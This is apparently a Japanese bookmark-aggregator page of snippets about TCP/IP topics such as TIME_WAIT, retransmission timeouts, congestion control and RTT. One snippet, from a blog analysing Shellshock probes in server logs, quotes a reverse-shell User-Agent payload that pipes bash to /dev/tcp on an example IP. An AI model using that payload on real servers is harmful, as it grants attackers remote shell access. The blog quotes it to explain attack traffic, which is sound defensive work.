TCP/IP で TIME_WAIT が残る時間を短くする
TIME_WAIT 状態の TCP コネクションが多数残る netstat コマンドで TCP コネクションの状態を確認していると、"TIME_WAIT" という状態のコネクションがたくさん確認される場合があります。 "TIME_WAIT" 状態というのは TCP コネクションにおいて、こちら側から通信をした場合に "FIN_WAIT_1" (FIN ACK 受信) から、"FIN_WAIT_2" (ACK 受信) または "CLOSING" (FIN 受信, ACK 送信)を経て、コネクションを閉じられる状態となったことを示すもののようです。 そしてこの "TIME_WAIT" から、実際にそのコネクションが閉じられて "CLOSED" となるまでの間に待ち時間があり、これによって、短時間に通信が集中すると、その分だけ通信終了間際の "TIME_WAIT" 状態のコネクションが多数、ne
FlutterでTCP通信 - Qiita
操作方法 1 装置を起動する 2 コントローラを起動する 3 コントローラからConnectする 4 ボタンが有効になったら、左右に動かす コントローラ import 'dart:io'; import 'dart:typed_data'; import 'package:flutter/material.dart'; import 'package:provider/provider.dart'; void main() { runApp( ChangeNotifierProvider( create: (context) => TcpClient(), child: MaterialApp( home: ClientPage(), debugShowCheckedModeBanner: false, ), ), ); } class TcpClient with ChangeNotif
複雑なデータをTCP/IP通信で送受信する | Theolizer®
2017年6月7日 Theolizer®最新版v1.1.0へ対応するために修正しました。 最新版のソース一式をGistに置いてます。 こんにちは。田原です。 TCP/IP通信と言えばsocketですが、これは何にでも対応できる低レベルなインタフェースなので その分使うのがたいへんです。Theolizer®の通信サンプルを開発するにはちょっと大掛かりになりすぎるので躊躇していました。しかし、Boost.Asioにstd::iostream形式でTCP/IP通信を行える機能が含まれていることが判りました。 そこで、Boost.Asioを使って家計簿データの送受信をやってみました。予想通り実に簡単に通信できましたので、ご紹介します。 今回作ったサンプルは、下記処理を行います。 家計簿データをサーバへ送信 サーバにて集計処理 集計結果だけをクライアントへ返却 クライアントで表示 TCP/IP通信で
LinuxサーバーのTCPネットワークのパフォーマンスを決定するカーネルパラメータ – 3編 | NHN Cloud Meetup
連載 LinuxサーバーのTCPネットワークのパフォーマンスを決定するカーネルパラメータ- 1編 LinuxサーバーのTCPネットワークのパフォーマンスを決定するカーネルパラメータ- 2編 5. TIME_WAIT socket TIME_WAIT状態のソケットは、利用可能なlocal port数を軽減させて同時に保有できるクライアントソケットの数を制限します。 5.1 TIME_WAIT socketとは？ TIME_WAIT状態のソケットは、いつ発生するでしょうか？ まず、TCPソケットの状態フローを見てみましょう。 上図から分かるように、active closingするソケットの最後の終着地がTIME_WAITの状態です。 言い換えれば、クライアントソケットであれ、サーバーソケットであれ、close()システムコールを先に呼び出した側（active closing）が最終的にそうなり
bashでリダイレクトを使ったソケット通信 - うまいぼうぶろぐ
vpsのhttpdのログにbash脆弱性を狙ったアクセスが来ていて、たいていはどこかへpingを実行したり、HTTPヘッダにX-Bash-Test というのを含めて脆弱性を確認してるだけ、みたいなのだけど、その中で見慣れないログを見つけた。 User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1(/dev/tcp の後は/ipアドレス/port 上のは適当な例) /dev/tcp ? こいつは何がしたい？ "/bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1" /bin/bash -i を実行したときの標準入力(0)、標準出力(1)、標準エラー(2) 、つまり全ての入出力を/dev/tcp/192.0.2.1/8080 にリダイレクトにしている。(">& hoge.txt"
警察庁、システムを探る4種類の不審な通信に注意喚起
印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 警察庁は5月21日、RedisやOracle Weblogic Server、Drupal、Cisco Smart Install Clientのシステムを狙った不審な通信が増加傾向にあるとして注意を呼び掛けた。同庁の観測では、これらのシステムに対するアクセスが4月頃から増えている。 NoSQLデータベースのRedisでは、宛先ポート6379/TCPに対して、バージョン情報などを取得するinfoコマンドを含むアクセスが3月末から増加している。これらは脆弱性があるRedisのサーバを探索してマルウェアの感染を試みる行為が含まれているという。同庁では、Redisに対する適切なアクセス制御やパスワードの設定などの対策をアドバイスしている。 O
Tcpdump Examples - 22 Tactical Commands | HackerTarget.com
Practical tcpdump examples to lift your network troubleshooting and security testing game. Commands and tips to not only use tcpdump but master ways to know your network. Knowing tcpdump is an essential skill that will come in handy for any system administrator, network engineer or security professional. First The Basics Breaking down the Tcpdump Command Line The following command uses common para
第2回 輻輳制御アルゴリズムの3タイプ | gihyo.jp
様々な輻輳制御アルゴリズム 輻輳制御アルゴリズムとは、輻輳ウインドウサイズ（cwndと表されます）をいかに上手にコントロールするか、の方法です。より効率の良いデータ転送を実現するために、これまで非常に多くの輻輳制御アルゴリズムが研究されてきました。 これまでに開発された代表的な輻輳制御アルゴリズムとその関係性を、図1を用いて紹介します。 図1 様々な輻輳制御アルゴリズム 図中では、四角い囲みが各輻輳制御アルゴリズムの名称と提案年を表します。横軸は時間軸で、右に位置するものほど新しい輻輳制御アルゴリズムであることを表します。塗りつぶしの色はフィードバック形式の違いを表し、黄色がLoss-based、濃緑がDelay-based、そして水色がHybridを表します。Loss-basedはパケットロスを、Delay-basedは遅延を、Hybridはその両方を基準に、cwndを更新する輻輳制御ア
Changing the TCP RTO value in Linux
The reason you can't alter the RTO specifically is because it is not a static value. Instead (except for the initial SYN, naturally) it is based on the RTT (Round Trip Time) for each connection. Actually, it is based on a smoothed version of RTT and the RTT variance with some constants thrown into the mix. Hence, it is a dynamic, calculated value for each TCP connection, and I highly recommend thi
【初心者向け】各OSのTCP通信チェックコマンド入門（2018年 更新版） | DevelopersIO
こんにちはコカコーラ好きのカジです。 EC2では色々なOSが構築できますよね。構築後の通信確認はどのように実施してますか？ 各OSで他のインスタンスへTCP通信確認のために、ツールをインストールしたり、ICMPなどの別なプロトコルで確認するためにSecurity Groupを一時解放していませんか？ 構築直後の状態で、簡単にTCPポート疎通確認可能なコマンドをご紹介します。自分も忘れやすいのでまとめてみました。 以前の記事から、3年が経過し、OSが追加されましたので、更新版です。更新概要はAmazon Linux2、ubuntu16.04、Windows Server 2016の追加、WindowsのPowershellでの調査方法を追記しました。 どなたかのお役に立てれば幸いです。 今回紹介するOSは以下となります。 Amazon Linux,Amazon Linux 2 Windows
Nagleアルゴリズムと遅延ACK - それが僕には楽しかったんです。
はじめに 本題に入る前に 輻輳・輻輳制御とは Nagleアルゴリズムとは The small-packet problem The small-packet problem の解決法としてのNagleアルゴリズム 余談：Nagleアルゴリズムを無効化する 遅延ACKの前に… ウィンドウ スライディングウィンドウ 遅延ACK Nagleアルゴリズムと遅延ACK おわりに はじめに どうも、最近嫌な予感が段々と確信になっていくタイプのサイコホラー映画に弱いという事がわかったけんつです。 諸事情で、Linuxカーネルモジュールとして実装したEchoサーバのコードを見なおしていたらNagleアルゴリズムと遅延ACKというものに出会いました。 気になったので色々と調べているとその仕組みが面白いなと思ったのでまとめます。 本題に入る前に 今回紹介することは、ネットワークで特にTCP/IPにおける輻輳制
Linuxカーネルの「TCP_TIMEWAIT_LEN」変更は無意味？
小崎 資広 (KOSAKI Motohiro) @kosaki55tea . @sonots から日本のWeb界隈ではTCP_TIMEWAIT_LEN を変更してカーネルリコンパイルがデファクトという話を聞いて軽くぐぐってみたところ、たしかに大量にそのようなページがヒットする。しかもどれ一つとして理由が書いてない。そして日本特有の現象 2015-09-09 00:03:14 小崎 資広 (KOSAKI Motohiro) @kosaki55tea 軽くソースを見た感じだと、tcp_tw_reuse をセットすると１秒で TIME_WAITのsocketは再利用が始まるので、いまひとつリコンパイルの必要性が分からず。これ、ソース呼んで妥当性チェックした人がいるノウハウなのかなあ 2015-09-09 00:04:39
TCPの再送時間について - はろぐ
1. TCPの再送制御 TCPの機能にはフロー制御、順序保証、再送制御などがあります。 再送制御では、システムの障害時やパケットの消失時などにパケットの再送を制御しています。再送は一般的には複数回実施され、回数を重ねる毎に再送間隔が広がっていきます。 ネットワークの設計では迂回時間60秒以内などとしているところもありますが、具体的に障害が発生してから何秒後のタイミングで救われるのか計算してみます。 2. TCPの再送時間の計算式と取り得る時間 TCPの再送時間の計算式はOS毎に設定されています。今回はLinux/HP-UXで確認します。 利用システムのバージョンに寄っても変更される可能性がありますが、確認したシステムのHP-UXではRFC2988、LinuxではRFC6298に準拠していました。 RFC6298を確認すると、TCPの再送時間は以下の式により計算され、最小値が1秒、最大値60
LinuxのTCP輻輳ウィンドウサイズやスロースタート閾値のキャッシュを無効化する – ビットログ
TCP通信の状態を監視していたところ、スロースタート閾値の初期値が、カーネル内で定義されている初期値と異なっていることがありました。調査したところ、Linuxに実装されているtcp_metricsが原因でした。本記事では、tcp_metricsの無効化方法について説明します。 Linuxカーネル2.6.6以降のTCP通信にはtcp_metricsという機能があります。tcp_metricsは、スロースタート閾値や輻輳ウィンドウサイズ、RTTといったTCP情報を送信先IPアドレスと関連付け、TCPコネクション終了時にキャッシュします。そして、キャッシュされた送信先IPアドレスへTCPコネクションを開始する時に、キャッシュしたTCP情報をその通信の初期値に設定します。 送信先IPアドレスのTCP情報をキャッシュすることで輻輳を防ぐことができる機能ですが、例えばiperfなどを使ってスループット
TCP Retransmit・DupACK・Fast Retransmit ～トラブルシューティング時のキーワード～ - troushoo
今回は、TCP Retransmit と DupACK と Fast Retransmit の紹介を行います。 いずれも、パケットロスといったネットワークの性能が出ない時に出現するキーワードです。 【TCP Retransmit】 Retransmit とは”再送”を意味する英単語です。 TCPでは、TCPデータの送信者が、受信者からACKを受け取れなかった場合、TCPデータの再送(=Retransmit)を行います。 これがTCP Retransmitです。 TCP Retrasmitの発生は、送信者と受信者の間でのパケットロスの可能性を示唆しています。 以下の例は、Retransmitが起こっているときのパケットキャプチャです。 ①で、192.168.122.129へ ”HTTP/1.1 200 OK” というデータを送っています。 ②の間、192.168.122.129へACKが受信
RTTとは - IT用語辞典
RTTとは、通信相手に信号やデータを発信してから、応答が帰ってくるまでにかかる時間。相手との物理的な距離や、経路上で中継・転送する装置などの数や処理時間に左右される。 電子回路や通信システムなどで、伝送にかかる時間を表す特性の一つとしてよく用いられる。双方向でやり取りを行うシステムの場合、回線などの時間あたりの伝送容量（帯域幅や通信速度）がいくら大きくても、RTTが大きければ送受信の度に大きな待ち時間が発生し、トータルの実効速度（スループット）や使用感は大きく損なわれる。 類義語：レイテンシ/レスポンスタイム発信した信号やデータが相手に届く（あるいはその逆）までにかかる時間は「レイテンシ」（latency/遅延時間）と呼ばれる。多くの場合、RTTはレイテンシの2倍に相手方での処理時間（物理的な反射などの場合はゼロ）を加えたものとなる。また、システムの応答や反応にかかる時間を表す場合、入力が
ラウンドトリップタイム - Wikipedia
この記事は検証可能な参考文献や出典が全く示されていないか、不十分です。出典を追加して記事の信頼性向上にご協力ください。（このテンプレートの使い方） 出典検索?: "ラウンドトリップタイム" – ニュース · 書籍 · スカラー · CiNii · J-STAGE · NDL · dlib.jp · ジャパンサーチ · TWL（2020年8月） 通信の分野において、ラウンドトリップタイム（Round-Trip Time、RTT）、ラウンドトリップディレイタイム（Round-Trip delay Time）は下記のような意味を持つ。 閉回路で信号を転送するときの経過時間。 メッセージ（コンピュータネットワークのTCPパケットも含む）をある離れた場所へ送って、それが戻ってくるまでの経過時間。 一次レーダーまたは二次レーダーシステムにおいて、転送したパルスが標的に届き、エコーやトランスポンダの応答
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
TCP/IPに代わる方式を開発――NTT、次世代ネットワーク「IOWN構想」の技術開発ロードマップ
TCP の再送タイムアウト (RTO) (November 2, 2006)
http://www.ekouhou.net/%EF%BC%B4%EF%BC%A3%EF%BC%B0%E9%80%81%E4%BF%A1%E5%88%B6%E5%BE%A1%E8%A3%85%E7%BD%AE%E5%8F%8A%E3%81%B3%EF%BC%B4%EF%BC%A3%EF%BC%B0%E9%80%81%E4%BF%A1%E5%88%B6%E5%BE%A1%E6%96%B9%E6%B3%95/disp-A,2010-35033.html